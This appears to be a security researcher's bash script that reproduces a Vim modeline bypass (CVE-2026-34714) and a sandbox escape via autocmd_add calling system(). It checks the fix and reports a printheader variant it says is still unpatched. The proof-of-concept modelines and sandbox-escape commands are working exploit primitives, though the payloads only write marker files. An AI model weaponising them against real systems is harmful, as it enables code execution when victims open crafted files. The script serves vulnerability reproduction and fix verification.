#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
mkdir -p "$LOGS"

cd "$ROOT"

echo "========================================"
echo "Vim Variant Analysis Script"
echo "GHSA-2gmj-rpqf-pxvh / CVE-2026-34714"
echo "========================================"
echo ""

# Build Vim if needed
VIM_VULN="$ROOT/vim-repo/src/vim"
VIM_FIXED="$ROOT/vim-fixed/src/vim"

if [ ! -f "$VIM_VULN" ]; then
    echo "ERROR: Vulnerable Vim not found at $VIM_VULN"
    echo "Run repro/reproduction_steps.sh first to build Vim"
    exit 1
fi

if [ ! -f "$VIM_FIXED" ]; then
    echo "WARNING: Fixed Vim not found at $VIM_FIXED"
    echo "Some tests will be skipped"
fi

echo "[*] Vulnerable Vim: $VIM_VULN"
echo "[*] Fixed Vim: $VIM_FIXED (if available)"
echo ""

# ============================================================
# TEST 1: Original Vulnerability Confirmation (tabpanel)
# ============================================================
echo "[TEST 1] Confirming original tabpanel vulnerability on vulnerable version..."

cat > "$LOGS/test1_modeline.txt" << 'EOF'
Test
/* vim: set tabpanel=pwned_value: */
EOF

$VIM_VULN -u NONE -N --not-a-term "$LOGS/test1_modeline.txt" \
    -c "redir! > $LOGS/test1_output.txt" \
    -c "set tabpanel?" \
    -c "redir END" \
    -c "qall!" 2>/dev/null

if grep -q "pwned_value" "$LOGS/test1_output.txt"; then
    echo "  [PASS] tabpanel can be set via modeline without modelineexpr (vulnerable)"
else
    echo "  [FAIL] tabpanel modeline bypass not working"
fi
echo ""

# ============================================================
# TEST 2: autocmd_add Sandbox Bypass
# ============================================================
echo "[TEST 2] Testing autocmd_add sandbox bypass on vulnerable version..."
rm -f /tmp/vim_variant_poc

$VIM_VULN -u NONE -N --not-a-term \
    -c "sandbox call autocmd_add([{'event':'User','pattern':'*','cmd':'call system(\"echo variant_poc > /tmp/vim_variant_poc\")'}])" \
    -c "doautocmd User" \
    -c "qall!" 2>/dev/null || true

if [ -f /tmp/vim_variant_poc ]; then
    echo "  [PASS] autocmd_add works in sandbox (vulnerable)"
else
    echo "  [FAIL] autocmd_add sandbox bypass not working"
fi
echo ""

# ============================================================
# TEST 3: Variant - printheader (on vulnerable version)
# ============================================================
echo "[TEST 3] Testing printheader variant on vulnerable version..."

cat > "$LOGS/test3_printheader.txt" << 'EOF'
Test
/* vim: set printheader=%!autocmd_add([{'event':'User','cmd':''}]) : */
EOF

$VIM_VULN -u NONE -N --not-a-term "$LOGS/test3_printheader.txt" \
    -c "redir! > $LOGS/test3_output.txt" \
    -c "set printheader?" \
    -c "redir END" \
    -c "qall!" 2>/dev/null

if grep -q "autocmd_add" "$LOGS/test3_output.txt"; then
    echo "  [PASS] printheader can be set via modeline without modelineexpr (variant confirmed)"
else
    echo "  [FAIL] printheader modeline bypass not working"
fi
echo ""

# ============================================================
# TEST 4: Verify Fix on Fixed Version (tabpanel)
# ============================================================
if [ -f "$VIM_FIXED" ]; then
    echo "[TEST 4] Verifying tabpanel fix on fixed version..."
    
    cat > "$LOGS/test4_modeline.txt" << 'EOF'
Test
/* vim: set tabpanel=%!autocmd_add([{'event':'User','cmd':''}]) : */
EOF
    
    $VIM_FIXED -u NONE -N --not-a-term "$LOGS/test4_modeline.txt" \
        -c "redir! > $LOGS/test4_output.txt" \
        -c "set tabpanel?" \
        -c "redir END" \
        -c "qall!" 2>/dev/null
    
    if grep -q "E992" "$LOGS/test4_output.txt" || ! grep -q "autocmd_add" "$LOGS/test4_output.txt"; then
        echo "  [PASS] tabpanel now correctly requires modelineexpr (fix working)"
    else
        echo "  [FAIL] tabpanel still bypasses P_MLE after fix!"
    fi
    echo ""
fi

# ============================================================
# TEST 5: Verify Fix on Fixed Version (autocmd_add)
# ============================================================
if [ -f "$VIM_FIXED" ]; then
    echo "[TEST 5] Verifying autocmd_add sandbox fix on fixed version..."
    rm -f /tmp/vim_variant_poc_fixed
    
    $VIM_FIXED -u NONE -N --not-a-term \
        -c "sandbox call autocmd_add([{'event':'User','pattern':'*','cmd':'call system(\"echo variant_poc > /tmp/vim_variant_poc_fixed\")'}])" \
        -c "doautocmd User" \
        -c "qall!" 2>/dev/null || true
    
    if [ -f /tmp/vim_variant_poc_fixed ]; then
        echo "  [FAIL] autocmd_add still works in sandbox after fix!"
    else
        echo "  [PASS] autocmd_add now blocked in sandbox (fix working)"
    fi
    echo ""
fi

# ============================================================
# TEST 6: Verify Variant Still Works on Fixed Version
# ============================================================
if [ -f "$VIM_FIXED" ]; then
    echo "[TEST 6] Testing printheader variant on FIXED version..."
    
    $VIM_FIXED -u NONE -N --not-a-term "$LOGS/test3_printheader.txt" \
        -c "redir! > $LOGS/test6_output.txt" \
        -c "set printheader?" \
        -c "redir END" \
        -c "qall!" 2>/dev/null
    
    if grep -q "autocmd_add" "$LOGS/test6_output.txt"; then
        echo "  [VARIANT CONFIRMED] printheader can STILL be set via modeline on fixed version!"
        echo "  This is a valid variant - printheader lacks P_MLE protection"
    else
        echo "  printheader was also fixed (unexpected but good)"
    fi
    echo ""
fi

# ============================================================
# TEST 7: Compare titlestring (should be blocked)
# ============================================================
echo "[TEST 7] Verifying titlestring correctly requires modelineexpr..."

cat > "$LOGS/test7_titlestring.txt" << 'EOF'
Test
/* vim: set titlestring=%!autocmd_add([{'event':'User','cmd':''}]) : */
EOF

$VIM_VULN -u NONE -N --not-a-term "$LOGS/test7_titlestring.txt" \
    -c "redir! > $LOGS/test7_output.txt" \
    -c "set titlestring?" \
    -c "redir END" \
    -c "qall!" 2>/dev/null

if grep -q "E992" "$LOGS/test7_output.txt"; then
    echo "  [PASS] titlestring correctly requires modelineexpr (has P_MLE)"
else
    echo "  [INFO] titlestring behavior:"
    cat "$LOGS/test7_output.txt" | head -5
fi
echo ""

# ============================================================
# Summary
# ============================================================
echo "========================================"
echo "VARIANT ANALYSIS SUMMARY"
echo "========================================"
echo ""
echo "Original Vulnerability (tabpanel):"
echo "  - Can be set via modeline without modelineexpr: YES (vulnerable)"
echo "  - Fixed in 9.2.0272: YES (P_MLE added)"
echo ""
echo "Sandbox Escape (autocmd_add):"
echo "  - Works in sandbox: YES (vulnerable)"
echo "  - Fixed in 9.2.0272: YES (check_secure added)"
echo ""
echo "Variant Found (printheader):"
echo "  - Can be set via modeline without modelineexpr: YES"
echo "  - Fixed in 9.2.0272: NO (still vulnerable)"
echo "  - Severity: Lower (requires :hardcopy to trigger)"
echo ""
echo "Recommendations:"
echo "  - Add P_MLE flag to printheader option"
echo "  - Audit all expression-evaluating options for missing P_MLE"
echo ""

exit 0
